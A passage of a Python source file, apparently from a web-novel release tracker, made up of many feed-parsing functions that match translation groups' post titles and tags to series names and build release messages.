	if 'Harem Pirates' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Harem Pirates', vol, chp, frag=frag, postfix=postfix)

	if "Student Council President's Secret Laid Bare" in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, "Student Council President's Secret Laid Bare", vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractA0132(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	if chp or vol:
		return buildReleaseMessage(item, 'Terror Infinity', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractCircusTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'German Translation' in item['tags']:
		return None
	if 'Turkish Translation' in item['tags']:
		return None
	if 'Spanish translation' in item['tags']:
		return None

	if chp or vol:
		return buildReleaseMessage(item, 'Tensei Shitara Slime Datta Ken', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractDistractedTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	ltags = [tmp.lower() for tmp in item['tags']]
	if 'gonna get captured' in ltags or 'Get Captured: Chapter' in item['title']:
		return buildReleaseMessage(item, "Like Hell I’m Gonna Get Captured!", vol, chp, frag=frag, postfix=postfix)

	if 'Girl Who Ate Death' in item['title']:
		return buildReleaseMessage(item, "Shinigami wo Tabeta Shouko", vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractForgottenConqueror(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	if chp:
		return buildReleaseMessage(item, "Forgotten Conqueror", vol, chp, frag=frag, postfix=postfix, tl_type='oel')

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractAzurro(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if not 'translation project' in item['tags']:
		return False

	if 'A Naive Short-tempered Girl' in item['tags']:
		return buildReleaseMessage(item, 'A Naive Short-tempered Girl', vol, chp, frag=frag, postfix=postfix)
	if 'Substitute Bride' in item['tags']:
		return buildReleaseMessage(item, 'Substitute Bride', vol, chp, frag=frag, postfix=postfix)
	if 'Husband is Great Black Belly (老公是腹黑大人)' in item['tags']:
		return buildReleaseMessage(item, 'Husband is Great Black Belly', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractCloversNook(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'A mistaken marriage match: A generation of military counselor' in item['tags']:
		return buildReleaseMessage(item, 'A mistaken marriage match: A generation of military counselor', vol, chp, frag=frag, postfix=postfix)
	if 'A mistaken marriage match: Record of washed grievances' in item['tags']:
		return buildReleaseMessage(item, 'A mistaken marriage match: Record of washed grievances', vol, chp, frag=frag, postfix=postfix)
	if 'Three Marriages' in item['tags']:
		return buildReleaseMessage(item, 'Three Marriages', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractCookiePasta(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	return buildReleaseMessage(item, 'Douluo Dalu 2 - Jueshi Tangmen', vol, chp, frag=frag, postfix=postfix)


####################################################################################################################################################
#
####################################################################################################################################################
def extractDreamsOfJianghu(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'TBVW' in item['tags']:
		return buildReleaseMessage(item, 'To Be A Virtuous Wife', vol, chp, frag=frag, postfix=postfix)
	if 'WC' in item['tags']:
		return buildReleaseMessage(item, 'World of Cultivation', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractDaoSeekerBlog(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Otherworldly Evil Monarch' in item['tags'] or 'Chapter' in item['title']:
		return buildReleaseMessage(item, 'Otherworldly Evil Monarch', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractCeruleonice(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'martial emperor reborn' in item['tags']:
		return buildReleaseMessage(item, 'Martial Emperor Reborn', vol, chp, frag=frag, postfix=postfix)
	if 'Totem' in item['tags']:
		return buildReleaseMessage(item, 'Totem', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractBeginningAfterTheEnd(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if "Chapter" in item['title']:
		return buildReleaseMessage(item, 'The Beginning After The End', vol, chp, frag=frag, postfix=postfix, tl_type='oel')

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractBcat00(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Law of the devil' in item['title']:
		return buildReleaseMessage(item, 'Law of the Devil', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractFiveStar(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Xian Ni' in item['title']:
		return buildReleaseMessage(item, 'Xian Ni', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractCtrlAlcala(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Chronicles Of Adrian Weiss Chapter'.lower() in item['title'].lower():
		return buildReleaseMessage(item, 'Starry Heaven Saga: The Chronicles Of Adrian Weiss', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'Magical Tournament Volume' in item['title']:
		return buildReleaseMessage(item, 'Magical Tournament: Rise Of The Black Swan', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'Type: Hybrid' in item['title']:
		return buildReleaseMessage(item, 'Type: Hybrid', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'Elementals:' in item['title'] or 'Elementals Chapter' in item['title']:
		return buildReleaseMessage(item, 'Elementals: Crystal Garden', vol, chp, frag=frag, postfix=postfix, tl_type='oel')

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractAnathema(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	return buildReleaseMessage(item, 'Anathema', vol, chp, frag=frag, postfix=postfix, tl_type='oel')


####################################################################################################################################################
#
####################################################################################################################################################
def extractDawningHowls(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Dragon Flies Phoenix Dances' in item['tags'] :
		return buildReleaseMessage(item, 'Dragon Flies Phoenix Dances', vol, chp, frag=frag, postfix=postfix)
	if 'Eastern Palace' in item['tags'] :
		return buildReleaseMessage(item, 'Eastern Palace', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractGoddessGrantMeaGirlfriend(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'ggmag chapter' in item['tags']:
		return buildReleaseMessage(item, 'Goddess! Grant Me a Girlfriend!!', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractEndOnline(item):
	'''

	'''

	title = item['title']

	for tag in item['tags']:
		if "volume" in tag.lower():
			title = tag + " " + title

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(title)

	if not (chp or vol) or "published" in item['title'].lower():
		return False

	if 'End Online' in item['tags']:
		return buildReleaseMessage(item, 'End Online', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'Chronicle of the Eternal' in item['tags']:
		return buildReleaseMessage(item, 'Chronicle of the Eternal', vol, chp, frag=frag, postfix=postfix, tl_type='oel')

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractChineseBLTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Novel: City of Endless Rain' in item['tags'] :
		return buildReleaseMessage(item, 'City of Endless Rain', vol, chp, frag=frag, postfix=postfix)
	if 'Novel: Cold Sands' in item['tags'] :
		return buildReleaseMessage(item, 'Cold Sands', vol, chp, frag=frag, postfix=postfix)
	if 'Novel: The Rental Shop Owner' in item['tags'] :
		return buildReleaseMessage(item, 'The Rental Shop Owner', vol, chp, frag=frag, postfix=postfix)
	if 'Novel: Till Death Do Us Part' in item['tags'] :
		return buildReleaseMessage(item, 'Till Death Do Us Part', vol, chp, frag=frag, postfix=postfix)
	if 'Novel: Love Late' in item['tags'] :
		return buildReleaseMessage(item, 'Love Late', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractDiwasteman(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "commentary" in item['title'].lower():
		return False
	if 'Parameter remote controller' in item['tags'] :
		return buildReleaseMessage(item, 'Parameter remote controller', vol, chp, frag=frag, postfix=postfix)
	if 'maou no hajimekata' in item['tags'] :
		return buildReleaseMessage(item, 'Maou no Hajimekata', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractAndrew9495(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if "Skill Taker's World Domination Building a slave harem from scratch" in item['tags']:
		return buildReleaseMessage(item, 'Skill Taker’s World Domination ~ Building a Slave Harem from Scratch', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractAtenTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Skill Taker' in item['tags'] or 'Skill Taker Ch' in item['title']:
		return buildReleaseMessage(item, 'Skill Taker’s World Domination ~ Building a Slave Harem from Scratch', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractCrystalRainDescends(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Honey Stewed Squid' in item['tags']:
		return buildReleaseMessage(item, 'Honey Stewed Squid', vol, chp, frag=frag, postfix=postfix)
	if 'Bloom' in item['tags']:
		return buildReleaseMessage(item, 'Bloom', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractFirebirdsNest(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'no-fatigue' in item['tags']:
		return buildReleaseMessage(item, 'No Fatigue', vol, chp, frag=frag, postfix=postfix)
	if 'mondaiji' in item['tags']:
		return buildReleaseMessage(item, 'Mondaiji-tachi ga Isekai Kara Kuru Sou Desu yo?', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractCasProjectSite(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	return buildReleaseMessage(item, "Era of Cultivation", vol, chp, frag=frag, postfix=postfix)


####################################################################################################################################################
#
####################################################################################################################################################
def extractFrostfire10(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	return buildReleaseMessage(item, "Overlord", vol, chp, frag=frag, postfix=postfix)



####################################################################################################################################################
#
####################################################################################################################################################
def extractGrimdarkZTranslations(item):
	'''
	# 'GrimdarkZ Translations'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None

	if 'Devouring The Heavens' in item['tags']:
		return buildReleaseMessage(item, 'Devouring The Heavens', vol, chp, frag=frag, postfix=postfix)
	if 'Kuro no Hiera Glaphicos' in item['tags']:
		return buildReleaseMessage(item, 'Kuro no Hiera Glaphicos', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
# General feedproxy stuff
# This is the sourcename for a whole pile of junk that goes
# through google somehow.
####################################################################################################################################################
def extractFeedProxy(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if item['title'].startswith("Comment"):
		return None

	if 'The Man Picked up by the Gods' in item['tags']:
		return buildReleaseMessage(item, 'Kamitachi ni Hirowareta Otoko', vol, chp, frag=frag, postfix=postfix)
	if 'Goblin Kingdom' in item['tags']:
		return buildReleaseMessage(item, 'Goblin Kingdom', vol, chp, frag=frag, postfix=postfix)
	if 'The Man Picked up by the Gods -' in item['title']:
		return buildReleaseMessage(item, 'Kamitachi ni Hirowareta Otoko', vol, chp, frag=frag, postfix=postfix)
	if 'Goblin Kingdom -' in item['title']:
		return buildReleaseMessage(item, 'Goblin no Oukoku', vol, chp, frag=frag, postfix=postfix)
	if 'Growth Cheat' in item['tags']:
		return buildReleaseMessage(item, 'I\'ve Became Able to Do Anything With My Growth Cheat, but I Can\'t Seem to Get Out of Being Jobless', vol, chp, frag=frag, postfix=postfix)
	if 'Invincible Saint' in item['tags']:
		return buildReleaseMessage(item, 'Invincible Saint ~Salaryman, the Path I Walk to Survive in This Other World~', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractDragomirCM(item):
	'''
	# DragomirCM

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if not postfix and ":" in item['title']:
		postfix = item['title'].split(":")[-1]

	if 'Magic Academy' in item['tags']:
		return buildReleaseMessage(item, 'I was reincarnated as a Magic Academy!', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if "100 Luck" in item['tags']:
		return buildReleaseMessage(item, '100 Luck and the Dragon Tamer Skill!', vol, chp, frag=frag, postfix=postfix, tl_type='oel')

	return False






def  extractGrowWithMe(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'zui wu dao' in item['tags']:
		# These parts are either volumes or chapters
		vol, chp, frag = frag, chp, 0
		return buildReleaseMessage(item, 'Zui Wu Dao', vol, chp, frag=frag, postfix=postfix)

	if re.search(r'Your Highness[\W\-\. ]+I know my wrongs\.?', item['title'], re.IGNORECASE):
		return buildReleaseMessage(item, 'Your Highness, I Know My Wrongs', vol, chp, frag=frag, postfix=postfix)


	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractDHHTranslations(item):
	'''
	# 'DHH Translations'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if "god's left hand" in item['tags']:
		return buildReleaseMessage(item, "god's left hand", vol, chp, frag=frag, postfix=postfix)
	return False

def  extractEmruyshitTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractAquarilasScenario(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'In That Moment of Suffering' in item['tags']:
		return buildReleaseMessage(item, 'In That Moment of Suffering', vol, chp, frag=frag, postfix=postfix, tl_type='oel')

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractCNovelTranlations(item):
	'''
	# 'C-Novel Tranlations…'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractEtheriaTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractBayabuscoTranslation(item):
	'''
	# 'Bayabusco Translation'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if "World Teacher".lower() in item['title'].lower():
		return buildReleaseMessage(item, "World Teacher", vol, chp, frag=frag, postfix=postfix)
	return False

def  extractChrononTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None

	item['title'] = item['title'].replace("’", "")

	if "Weapons cheat".lower() in item['title'].lower():
		return buildReleaseMessage(item, "Modern weapons cheat in another world", vol, chp, frag=frag, postfix=postfix)
	if "Heavenly Tribulation".lower() in item['title'].lower():
		return buildReleaseMessage(item, "Heavenly Tribulation", vol, chp, frag=frag, postfix=postfix)
	if "I can speak".lower() in item['title'].lower():
		return buildReleaseMessage(item, "I Can Speak with Animals and Demons", vol, chp, frag=frag, postfix=postfix)
	if "I Bought a Girl".lower() in item['title'].lower():
		return buildReleaseMessage(item, "I Bought a Girl", vol, chp, frag=frag, postfix=postfix)
	if "Girl Corps".lower() in item['title'].lower():
		return buildReleaseMessage(item, "Girl Corps", vol, chp, frag=frag, postfix=postfix)
	if "Modern Weapons".lower() in item['title'].lower():
		return buildReleaseMessage(item, "Modern weapons cheat in another world", vol, chp, frag=frag, postfix=postfix)
	if "Upper World".lower() in item['title'].lower():
		return buildReleaseMessage(item, "Reincarnation ~ From the lower world to the upper world", vol, chp, frag=frag, postfix=postfix)
	if "I work as a healer".lower() in item['title'].lower():
		return buildReleaseMessage(item, "I Work As A Healer In Another World's Labyrinth City", vol, chp, frag=frag, postfix=postfix)

	return False

def  extractDailyDallying(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if "Conquering Hero's Heroines" in item['tags']:
		return buildReleaseMessage(item, 'Stealing Hero\'s Lovers', vol, chp, frag=frag, postfix=postfix)
	if 'Nidome no Yuusha' in item['tags']:
		return buildReleaseMessage(item, 'Nidome no Yuusha', vol, chp, frag=frag, postfix=postfix)
	if "Nobunaga's Imouto" in item['tags']:
		return buildReleaseMessage(item, "Nobunaga's Younger Sister is My Wife", vol, chp, frag=frag, postfix=postfix)
	return False

def  extractDistractedChinese(item):
	'''
	# 'Distracted Chinese'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractAnonEmpire(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractECWebnovel(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if item['title'].lower().startswith("volume"):
		return buildReleaseMessage(item, "EC", vol, chp, frag=frag, postfix=postfix)
	if item['title'].lower().startswith("great merchant - dao ming"):
		return buildReleaseMessage(item, "Great Merchant - Dao Ming", vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractDorayakiz(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractEccentricTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if "ILK" in item['tags']:
		return buildReleaseMessage(item, "Invincible Leveling King", vol, chp, frag=frag, postfix=postfix)
	if 'ATF' in item['tags']:
		return buildReleaseMessage(item, "After Transformation, Mine and Her Wild Fantasy", vol, chp, frag=frag, postfix=postfix)
	if 'DTW' in item['tags']:
		return buildReleaseMessage(item, "Doctoring the World", vol, chp, frag=frag, postfix=postfix)
	if 'TKDG' in item['tags']:
		return buildReleaseMessage(item, 'The Kind Death God', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractDeweyNightUnrolls(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Chaos Of Beauty' in item['tags']:
		return buildReleaseMessage(item, 'Chaos Of Beauty', vol, chp, frag=frag, postfix=postfix)
	if 'Jianghu Road is Curved' in item['tags']:
		return buildReleaseMessage(item, 'Jianghu Road is Curved', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractAquaScans(item):
	'''

	'''
	if 'Manga' in item['tags']:
		return None

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractEternalpath(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractBruinTranslation(item):
	'''
	# 'Bruin Translation'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if not item['title']:
		return False
	if item['tags'] == ['Uncategorized'] and item['title'].startswith('Volume'):
		return buildReleaseMessage(item, 'Otherworldly Evil Monarch', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractBluefireTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractCaveScans(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractBooksMoviesAndBeyond(item):
	'''
	# 'Books Movies and Beyond'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractBlublub(item):
	'''
	# 'Blublub'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractfgiLaNTranslations(item):
	'''
	# 'fgiLaN translations'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'kimi no na wa' in item['tags']:
		return buildReleaseMessage(item, 'kimi no na wa', vol, chp, frag=frag, postfix=postfix)
	if 'shuumatsu nani shitemasu ka? isogashii desu ka? sukutte moratte ii desu ka?' in item['tags']:
		return buildReleaseMessage(item, 'shuumatsu nani shitemasu ka? isogashii desu ka? sukutte moratte ii desu ka?', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractDramasBooksTea(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if "I Don't Like This World I Only Like You" in item['tags']:
		return buildReleaseMessage(item, "I Don't Like This World I Only Like You", vol, chp, frag=frag, postfix=postfix)
	if 'The Youthful You Who Was So Beautiful' in item['tags']:
		return buildReleaseMessage(item, 'The Youthful You Who Was So Beautiful', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractGargoyleWebSerial(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractDescentSubs(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractGaochaoTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Otherworldly Evil Monarch' in item['tags']:
		return buildReleaseMessage(item, 'Otherworldly Evil Monarch', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractDOWsTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractDragonMT(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Dragon Life' in item['tags']:
		return buildReleaseMessage(item, 'Dragon Life', vol, chp, frag=frag, postfix=postfix)

	return False



def  extractCNovels2C(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractBathrobeKnight(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if not postfix and '-' in item['title']:
		postfix = item['title'].split("-")[-1]
	return buildReleaseMessage(item, 'The Bathrobe Knight', vol, chp, frag=frag, postfix=postfix, tl_type='oel')


####################################################################################################################################################
#
####################################################################################################################################################

def  extractEndKun(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractCosmicTranslation(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractBakaPervert(item):
	'''
	# 'Baka Pervert'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if "antihero" in item['title'].lower():
		return buildReleaseMessage(item, 'Ultimate Antihero', vol, chp, frag=frag, postfix=postfix)
	if item['title'].lower().startswith('hxh'):
		return buildReleaseMessage(item, 'Hybrid x Heart Magis Academy Ataraxia', vol, chp, frag=frag, postfix=postfix)
	if item['title'].lower().startswith('magika vol'):
		return buildReleaseMessage(item, 'Magika No Kenshi To Shoukan Maou', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractAsd398(item):
	'''
	# 'asd398'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if "Don't tell me this is the true history of the Three Kingdoms!" in item['tags']:
		return buildReleaseMessage(item, "Don't tell me this is the true history of the Three Kingdoms!", vol, chp, frag=frag, postfix=postfix)
	if 'Leading an Explosive Revolution in Another World!' in item['tags']:
		return buildReleaseMessage(item, 'Leading an Explosive Revolution in Another World!', vol, chp, frag=frag, postfix=postfix)
	if 'No Battle No Life' in item['tags']:
		return buildReleaseMessage(item, 'No Battle No Life', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractCrazyForHENovels(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) and not "preview" in item['title']:
		return False

	chp = frag
	frag = None
	if '如果蜗牛有爱情 When A Snail Loves – 丁墨 Ding Mo (HE)(Incomplete)' in item['tags'] or 'When a snail loves' in item['tags']:
		return buildReleaseMessage(item, 'When A Snail Loves', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractAngry(item):
	'''
	# 'ヾ(。￣□￣)ﾂ'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False


def  extractChubbyCheeks(item):
	'''
	# 'ChubbyCheeks'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'A Mistaken Marriage Match: Mysteries in the Imperial Harem' in item['tags']:
		return buildReleaseMessage(item, 'A Mistaken Marriage Match: Mysteries in the Imperial Harem', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractDynamisGaul(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
